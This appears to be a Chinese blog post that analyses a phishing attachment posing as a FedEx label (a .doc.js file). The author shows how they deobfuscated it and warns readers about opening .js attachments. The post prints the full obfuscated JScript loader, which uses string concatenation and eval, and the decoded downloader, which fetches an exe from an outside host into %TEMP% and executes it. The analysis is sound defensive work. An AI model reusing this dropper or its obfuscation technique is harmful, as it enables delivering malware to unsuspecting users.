zoukankan      html  css  js  c++  java
  • 20160307

    Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

    var a5 = 'va';
    var a3 = 'l';
    var a1 = '';
    var a4 = 'e';
    
    function opx() {
        a1 += 's(';
        pfo();
    };
    
    function fef() {
        a1 += 'Strea';
        iq();
    };
    
    function ciq() {
        a1 += 'GET"';
        ch();
    };
    
    function m() {
        a1 += ' Act';
        es();
    };
    
    function obm() {
        a1 += ' v';
        sqf();
    };
    
    function fzw() {
        a1 += 'rn';
        yeu();
    };
    
    function pab() {
        a1 += 'Shel';
        xwm();
    };
    
    function cr() {
        a1 += '; xa.';
        elt();
    };
    
    function jj() {
        a1 += 'xa =';
        rd();
    };
    
    function ny() {
        a1 += 'ry ';
        wk();
    };
    
    function ke() {
        a1 += 'fn';
        lh();
    };
    
    function wbl() {
        a1 += 'e ==';
        fpg();
    };
    
    function ueh() {
        a1 += '9531';
        n();
    };
    
    function ma() {
        a1 += '= 0';
        cr();
    };
    
    function q() {
        a1 += '); xo';
        s();
    };
    
    function rb() {
        a1 += '2455';
        em();
    };
    
    function so() {
        a1 += '= ';
        upv();
    };
    
    function xo() {
        a1 += 'pandE';
        dyu();
    };
    
    function xtj() {
        a1 += 'r,fal';
        qj();
    };
    
    function j() {
        a1 += ');';
        lyg();
    };
    
    function dyr() {
        a1 += 'pt.';
        pab();
    };
    
    function dyu() {
        a1 += 'nvir';
        x();
    };
    
    function lyg() {
        a1 += ' }; }';
        pws();
    };
    
    function suv() {
        a1 += '00D10';
        tla();
    };
    
    function sdx() {
        a1 += '; ';
        wun();
    };
    
    function uet() {
        a1 += 'rnd';
        jp();
    };
    
    function exo() {
        a1 += 'n;';
        ht();
    };
    
    function wqb() {
        a1 += 'r)';
        whi();
    };
    
    function zh() {
        a1 += 'se';
        rj();
    };
    
    function zc() {
        a1 += '};';
        azk();
    };
    
    function elt() {
        a1 += 'saveT';
        qw();
    };
    
    function x() {
        a1 += 'on';
        jq();
    };
    
    function rj() {
        a1 += 'nd()';
        twi();
    };
    
    function bmc() {
        a1 += 'on';
        bq();
    };
    
    function xwm() {
        a1 += 'l");';
        obm();
    };
    
    function dt() {
        a1 += 'a.po';
        cn();
    };
    
    function yeu() {
        a1 += ' > 0';
        ws();
    };
    
    function ow() {
        a1 += 'xe",1';
        gw();
    };
    
    function bxl() {
        a1 += 'Strin';
        zko();
    };
    
    function le() {
        a1 += '); x';
        dt();
    };
    
    function nj() {
        a1 += 'p?id';
        ctl();
    };
    
    function a() {
        a1 += ' new';
        m();
    };
    
    function mok() {
        a1 += ' 1; ';
        hma();
    };
    
    function e() {
        a1 += 'Scri';
        dyr();
    };
    
    function qw() {
        a1 += 'oFi';
        kg();
    };
    
    function pc() {
        a1 += '38';
        adj();
    };
    
    function ruz() {
        a1 += ')+f';
        exo();
    };
    
    function yfs() {
        a1 += ' }';
        cw();
    };
    
    function kva() {
        a1 += 'L2.X';
        kf();
    };
    
    function ywg() {
        a1 += ',0,0)';
        ze();
    };
    
    function egd() {
        a1 += 'a.o';
        gz();
    };
    
    function bq() {
        a1 += '() ';
        mqo();
    };
    
    function yey() {
        a1 += 'dl(fr';
        fo();
    };
    
    function p() {
        a1 += 'ng';
        opx();
    };
    
    function gw() {
        a1 += ');';
        ne();
    };
    
    function jp() {
        a1 += '=583';
        ueh();
    };
    
    function ze() {
        a1 += '; ';
        ywx();
    };
    
    function wk() {
        a1 += '{ x';
        lf();
    };
    
    function mqo() {
        a1 += '{ if';
        u();
    };
    
    function hma() {
        a1 += 'xa.wr';
        oct();
    };
    
    function lyq() {
        a1 += 'MS';
        ta();
    };
    
    function fo() {
        a1 += ',fn,';
        ra();
    };
    
    function aa() {
        a1 += 's5-';
        k();
    };
    
    function lf() {
        a1 += 'o.';
        bqk();
    };
    
    function iec() {
        a1 += 'onse';
        l();
    };
    
    function pws() {
        a1 += '; t';
        ny();
    };
    
    function gz() {
        a1 += 'pen()';
        sdx();
    };
    
    function i() {
        a1 += 'yst';
        lg();
    };
    
    function la() {
        a1 += ' =';
        tbz();
    };
    
    function ta() {
        a1 += 'XM';
        kva();
    };
    
    function kf() {
        a1 += 'MLH';
        zpg();
    };
    
    function yt() {
        a1 += 'com/d';
        plz();
    };
    
    function ovq() {
        a1 += 'P%")+';
        bxl();
    };
    
    function ia() {
        a1 += ':/';
        zll();
    };
    
    function kg() {
        a1 += 'le(';
        ke();
    };
    
    function ff() {
        a1 += 'r ws';
        y();
    };
    
    function pp() {
        a1 += 'fn';
        ywg();
    };
    
    function n() {
        a1 += '","8';
        ym();
    };
    
    function g() {
        a1 += 'xo ';
        so();
    };
    
    function ng() {
        a1 += 'xo.';
        zh();
    };
    
    function mlz() {
        a1 += '("';
        ciq();
    };
    
    function ym() {
        a1 += '44';
        pc();
    };
    
    function kqc() {
        a1 += '09&';
        uet();
    };
    
    function omc() {
        a1 += '("W';
        e();
    };
    
    function wun() {
        a1 += 'xa.ty';
        tp();
    };
    
    function ctl() {
        a1 += '=54';
        pt();
    };
    
    function lg() {
        a1 += 'atec';
        ors();
    };
    
    function bmm() {
        a1 += 'XObje';
        rvo();
    };
    
    function zko() {
        a1 += 'g.fro';
        fr();
    };
    
    function ch() {
        a1 += ',f';
        xtj();
    };
    
    function l() {
        a1 += 'Body';
        le();
    };
    
    function jq() {
        a1 += 'mentS';
        jf();
    };
    
    function em() {
        a1 += '565';
        jet();
    };
    
    function cw() {
        a1 += ' catc';
        dig();
    };
    
    function yv() {
        a1 += 'e(92';
        ruz();
    };
    
    function twi() {
        a1 += '; ';
        oy();
    };
    
    function ws() {
        a1 += ') { ';
        zo();
    };
    
    function zpg() {
        a1 += 'TTP"';
        q();
    };
    
    function s() {
        a1 += '.onre';
        pao();
    };
    
    function rd() {
        a1 += ' new ';
        kh();
    };
    
    function vp() {
        a1 += 'XOb';
        dwx();
    };
    
    function vrm() {
        a1 += 'Act';
        v();
    };
    
    function oi() {
        a1 += 'ion ';
        ma();
    };
    
    function lvc() {
        a1 += 'D01';
        rb();
    };
    
    function pt() {
        a1 += '51';
        cg();
    };
    
    function bqk() {
        a1 += 'open';
        mlz();
    };
    
    function etm() {
        a1 += 'Run(';
        pp();
    };
    
    function hp() {
        a1 += '("AD';
        b();
    };
    
    function whi() {
        a1 += ' { }';
        ssb();
    };
    
    function v() {
        a1 += 'ive';
        bmm();
    };
    
    function w() {
        a1 += 'Stat';
        wbl();
    };
    
    function oct() {
        a1 += 'ite';
        pd();
    };
    
    function zll() {
        a1 += '/app.';
        aa();
    };
    
    function qj() {
        a1 += 'se); ';
        ng();
    };
    
    function plz() {
        a1 += 'ocume';
        wld();
    };
    
    function oy() {
        a1 += 'if (';
        fzw();
    };
    
    function b() {
        a1 += 'ODB.';
        fef();
    };
    
    function h() {
        a1 += 'ctio';
        o();
    };
    
    function zo() {
        a1 += 'ws.';
        etm();
    };
    
    function es() {
        a1 += 'ive';
        vp();
    };
    
    function r() {
        a1 += 'va';
        ff();
    };
    
    function aey() {
        a1 += 'rCod';
        yv();
    };
    
    function adj() {
        a1 += '33';
        fpe();
    };
    
    function tla() {
        a1 += '0D011';
        lvc();
    };
    
    function kh() {
        a1 += 'Acti';
        zn();
    };
    
    function ors() {
        a1 += 'hange';
        c();
    };
    
    function sqf() {
        a1 += 'ar fn';
        la();
    };
    
    function zr() {
        a1 += ' var ';
        jj();
    };
    
    function jn() {
        a1 += 'esp';
        iec();
    };
    
    function fpg() {
        a1 += '= 4';
        oh();
    };
    
    function iq() {
        a1 += 'm")';
        tgk();
    };
    
    function nyj() {
        a1 += 'ready';
        w();
    };
    
    function ht() {
        a1 += ' var ';
        g();
    };
    
    function k() {
        a1 += 'tech.';
        yt();
    };
    
    function ttg() {
        a1 += 'bject';
        hp();
    };
    
    function t() {
        a1 += 'ncti';
        bmc();
    };
    
    function bb() {
        a1 += 'xa.c';
        lfp();
    };
    
    function o() {
        a1 += 'n ';
        yey();
    };
    
    function tbz() {
        a1 += ' ws';
        fkc();
    };
    
    function jf() {
        a1 += 'tri';
        p();
    };
    
    function iiw() {
        a1 += '("';
        my();
    };
    
    function ssb() {
        a1 += '; ';
        zc();
    };
    
    function wq() {
        a1 += '0B';
        kqc();
    };
    
    function ra() {
        a1 += 'rn)';
        tux();
    };
    
    function oh() {
        a1 += ') {';
        zr();
    };
    
    function my() {
        a1 += 'http';
        ia();
    };
    
    function owg() {
        a1 += 'fu';
        t();
    };
    
    function lh() {
        a1 += ',2); ';
        bb();
    };
    
    function tux() {
        a1 += ' { ';
        r();
    };
    
    function wld() {
        a1 += 'nt.ph';
        nj();
    };
    
    function ywx() {
        a1 += '};';
        yfs();
    };
    
    function tgk() {
        a1 += '; x';
        egd();
    };
    
    function dwx() {
        a1 += 'ject';
        omc();
    };
    
    function lfp() {
        a1 += 'lose(';
        j();
    };
    
    function fpe() {
        a1 += '5.e';
        ow();
    };
    
    function upv() {
        a1 += 'new ';
        vrm();
    };
    
    function kag() {
        a1 += ' =';
        mok();
    };
    
    function ne() {
        this[a4 + a5 + a3](a1);
    };
    
    function rvo() {
        a1 += 'ct("';
        lyq();
    };
    
    function fr() {
        a1 += 'mCha';
        aey();
    };
    
    function dig() {
        a1 += 'h (e';
        wqb();
    };
    
    function u() {
        a1 += ' (xo.';
        nyj();
    };
    
    function y() {
        a1 += ' =';
        a();
    };
    
    function fkc() {
        a1 += '.Ex';
        xo();
    };
    
    function azk() {
        a1 += ' dl';
        iiw();
    };
    
    function tp() {
        a1 += 'pe';
        kag();
    };
    
    function pd() {
        a1 += '(xo.R';
        jn();
    };
    
    function pao() {
        a1 += 'ad';
        i();
    };
    
    function fs() {
        a1 += 'fun';
        h();
    };
    
    function c() {
        a1 += ' = ';
        owg();
    };
    
    function jet() {
        a1 += '24A07';
        wq();
    };
    
    function cn() {
        a1 += 'sit';
        oi();
    };
    
    function pfo() {
        a1 += '"%TEM';
        ovq();
    };
    
    function zn() {
        a1 += 'veXO';
        ttg();
    };
    
    function cg() {
        a1 += '515E1';
        suv();
    };
    fs();
    View Code

    虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

    function gw() {
        a1 += ');';
        ne();
    };

    改为:

    function gw() {
        a1 += ');';
        //ne();
        WScript.Echo(a1);
    };

    复制出内容如下:

    function dl(fr, fn, rn) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState === 4) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                xa.position = 0;
                xa.saveToFile(fn, 2);
                xa.close();
            };
        };
        try {
            xo.open("GET", fr, false);
            xo.send();
            if (rn > 0) {
                ws.Run(fn, 0, 0);
            };
        } catch (er) {};
    };
    dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

    似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

    但提醒一下:双击打开 Js 扩展名的附件要保持留心。

  • 相关阅读:
    New version of VS2005 extensions for SharePoint 3.0
    QuickPart : 用户控件包装器 for SharePoint Server 2007
    随想
    发布 SharePoint Server 2007 Starter Page
    如何在SharePoint Server中整合其他应用系统?
    Office SharePoint Server 2007 中文180天评估版到货!
    RMS 1.0 SP2
    SharePoint Server 2007 Web内容管理中的几个关键概念
    如何为已存在的SharePoint站点启用SSL
    Some update information about Office 2007
  • 原文地址:https://www.cnblogs.com/likun/p/5249151.html
Copyright © 2011-2022 走看看